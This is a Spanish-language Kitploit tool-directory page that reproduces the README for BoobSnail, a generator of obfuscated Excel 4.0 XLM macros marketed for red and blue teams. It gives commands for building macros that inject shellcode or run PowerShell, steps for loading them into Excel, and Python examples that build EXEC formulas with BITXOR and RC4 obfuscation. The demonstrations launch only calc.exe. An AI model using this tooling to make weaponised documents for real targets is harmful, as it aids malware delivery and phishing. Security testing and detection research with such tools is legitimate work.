Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
boobsnail — Genera macros XLM de Excel 4.0 ofuscadas para operaciones de equipo rojo y análisis de equipo azul, con soporte para múltiples técnicas de infección, traducción de fórmulas y generadores personalizados basados en bibliotecas. | Kitploit
Herramientas/GitHubGitHub/stmcyber/boobsnail
Herramientas de PhishingGeneración de PayloadsPruebas de PenetraciónIngeniería SocialRed Teaming
GitHubstmcyber/boobsnail

boobsnail

Genera macros XLM de Excel 4.0 ofuscadas para operaciones de equipo rojo y análisis de equipo azul, con soporte para múltiples técnicas de infección, traducción de fórmulas y generadores personalizados basados en bibliotecas.

Ver Repositorio
256496hace 1 añoRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Sitio web

License

Síguenos en Twitter!

BoobSnail

BoobSnail permite generar macros XLM (Excel 4.0). Su propósito es apoyar al RedTeam y al BlueTeam en la generación de macros XLM. Características:

  • varias técnicas de infección;
  • varias técnicas de ofuscación;
  • traducción de fórmulas a idiomas distintos del inglés;
  • se puede usar como biblioteca: puedes escribir tu propio generador fácilmente.

Compilación y Ejecución

Probado en: Python 3.8.7rc1

root@kitploit:~
pip install -r requirements.txt
python boobsnail.py
___.                ___.     _________             .__.__
\_ |__   ____   ____\_ |__  /   _____/ ____ _____  |__|  |
 | __ \ /  _ \ /  _ \| __ \ \_____  \ /    \__  \ |  |  |
 | \_\ (  <_> |  <_> ) \_\ \/        \   |  \/ __ \|  |  |__
 |___  /\____/ \____/|___  /_______  /___|  (____  /__|____/
     \/                  \/        \/     \/     \/
     Author: @_mzer0 @stm_cyber
     (...)

Uso de los generadores

root@kitploit:~
python boobsnail.py <generator> -h

Para ver los generadores disponibles, escribe:

root@kitploit:~
python boobsnail.py

Ejemplos

Genera una macro ofuscada que inyecta shellcode x64 o x86:

root@kitploit:~
python boobsnail.py Excel4NtDonutGenerator --inputx86 <RUTA_AL_SHELLCODE> --inputx64 <RUTA_AL_SHELLCODE> --out boobsnail.csv

Genera una macro ofuscada que ejecuta calc.exe:

root@kitploit:~
python boobsnail.py Excel4ExecGenerator --cmd "powershell.exe -c calc.exe" --out boobsnail.csv

Guardar la salida en Excel

  1. Vuelca la salida a un archivo CSV.
  2. Copia el contenido del archivo CSV.
  3. Abre Excel y crea una nueva hoja de cálculo.
  4. Agrega una nueva Macro de Excel 4.0 (clic derecho en Hoja1 -> Insertar -> Macro de MS Excel 4.0).
  5. Pega el contenido en la celda A1 o R1C1.
  6. Haz clic en Datos -> Texto en columnas.
  7. Haz clic en Siguiente -> Establece Punto y coma como separador y haz clic en Finalizar.

Uso como biblioteca

BoobSnail incluye la biblioteca excel4lib que permite crear tu propio generador de macros Excel4. excel4lib contiene algunas clases que se pueden usar al escribir un generador:

  • excel4lib.macro.Excel4Macro: permite definir fórmulas, valores y variables de Excel4;
  • excel4lib.macro.obfuscator.Excel4Obfuscator: permite ofuscar las instrucciones creadas en Excel4Macro;
  • excel4lib.lang.Excel4Translator: permite traducir fórmulas a otro idioma.

La idea principal de esta biblioteca es representar fórmulas, variables, argumentos de fórmulas y valores de Excel4 como objetos de Python. Gracias a esto, puedes cambiar atributos de las instrucciones, como nombres de fórmulas o variables, valores, direcciones, etc., de manera sencilla. Por ejemplo, creemos una macro simple que ejecute calc.exe:

root@kitploit:~
from excel4lib.macro import *
# Crear objeto macro
macro = Excel4Macro("test.csv")
# Agregar variable llamada cmd con valor "calc.exe" a la hoja
cmd = macro.variable("cmd", "calc.exe")
# Agregar fórmula EXEC con argumento cmd
macro.formula("EXEC", cmd)
# Volcar a CSV
print(macro.to_csv())

Resultado:

root@kitploit:~
cmd="calc.exe";
=EXEC(cmd);

Ahora supongamos que quieres ofuscar tu macro. Para ello, solo necesitas importar el ofuscador y pasarlo al objeto Excel4Macro:

root@kitploit:~
from excel4lib.macro import *
from excel4lib.macro.obfuscator import *
# Crear objeto macro
macro = Excel4Macro("test.csv", obfuscator=Excel4Obfuscator())
# Agregar variable llamada cmd con valor "calc.exe" a la hoja
cmd = macro.variable("cmd", "calc.exe")
# Agregar fórmula EXEC con argumento cmd
macro.formula("EXEC", cmd)
# Volcar a CSV
print(macro.to_csv())

Por ahora, excel4lib incluye dos clases de ofuscación:

  • excel4lib.macro.obfuscator.Excel4Obfuscator: utiliza funciones de Excel 4.0 como BITXOR, SUM, etc., para ofuscar tu macro;
  • excel4lib.macro.obfuscator.Excel4Rc4Obfuscator: utiliza cifrado RC4 para ofuscar fórmulas.

Como puedes ver, puedes escribir tu propia clase de ofuscador y usarla en Excel4Macro.

A veces necesitarás traducir tu macro a otro idioma, por ejemplo tu idioma nativo; en mi caso es polaco. Con excel4lib es bastante fácil. Solo necesitas importar la clase Excel4Translator y llamar a set_language:

root@kitploit:~
from excel4lib.macro import *
from excel4lib.lang.excel4_translator import *
# Cambiar idioma
Excel4Translator.set_language("pl_PL")
# Crear objeto macro
macro = Excel4Macro("test.csv", obfuscator=Excel4Obfuscator())
# Agregar variable llamada cmd con valor "calc.exe" a la hoja
cmd = macro.variable("cmd", "calc.exe")
# Agregar fórmula EXEC con argumento cmd
macro.formula("EXEC", cmd)
# Volcar a CSV
print(macro.to_csv())

Resultado:

root@kitploit:~
cmd="calc.exe";
=URUCHOM.PROGRAM(cmd);

Por ahora, solo se admiten los idiomas inglés y polaco. Si quieres usar otro idioma, debes agregar las traducciones en el directorio excel4lib/lang/langs.

Seguramente necesitarás crear una fórmula que tome otra fórmula como argumento. Puedes hacerlo usando la función Excel4Macro.argument.

root@kitploit:~
from excel4lib.macro import *
macro = Excel4Macro("test.csv")
# Agregar variable llamada cmd con valor "calc" a la hoja
cmd_1 = macro.variable("cmd", "calc")
# Agregar celda que contiene .exe como valor
cmd_2 = macro.value(".exe")
# Crear fórmula CONCATENATE que CONCATENA cmd_1 y cmd_2
exec_arg = macro.argument("CONCATENATE", cmd_1, cmd_2)
# Pasar la llamada a CONCATENATE como argumento a la fórmula EXEC
macro.formula("EXEC", exec_arg)
# Volcar a CSV
print(macro.to_csv())

Resultado:

root@kitploit:~
cmd="calc";
.exe;
=EXEC(CONCATENATE(cmd,R2C1));

Como puedes ver, la cadena ".exe" se pasó a la fórmula CONCATENATE como R2C1. R2C1 es la dirección del valor ".exe" (FILA número 2 y COLUMNA número 1). excel4lib devuelve referencias a fórmulas y valores como direcciones. Las referencias a variables se devuelven como sus nombres. Probablemente notaste que la clase Excel4Macro agrega fórmulas, variables y valores a la hoja automáticamente en el orden en que se crean estos objetos y que la dirección inicial es R1C1. ¿Qué pasa si quieres colocar fórmulas en otra columna o fila? Puedes hacerlo llamando a la función Excel4Macro.set_cords.

root@kitploit:~
from excel4lib.macro import *
macro = Excel4Macro("test.csv")
# Columna 1
# Agregar variable llamada cmd con valor "calc" a la hoja
cmd_1 = macro.variable("cmd", "calc")
# Agregar celda que contiene .exe como valor
cmd_2 = macro.value(".exe")
# Columna 2
# Cambiar coordenadas a columna 2
macro.set_cords(2,1)
exec_arg = macro.argument("CONCATENATE", cmd_1, cmd_2)
# Pasar la llamada a CONCATENATE como argumento a la fórmula EXEC
exec_call = macro.formula("EXEC", exec_arg)
# Columna 1
# Volver a columna 1. Cambiar coordenadas a columna 1 y fila 3
macro.set_cords(1,3)
# GOTO a la llamada EXEC
macro.goto(exec_call)
# Volcar a CSV
print(macro.to_csv())

Resultado:

root@kitploit:~
cmd="calc";=EXEC(CONCATENATE(cmd,R2C1));
.exe;;
=GOTO(R1C2);;

Autor

mzer0 del equipo stm_cyber!

Artículos

El primer paso en Excel 4.0 para Red Team

BoobSnail - Generador de macros Excel 4.0

Descargar herramienta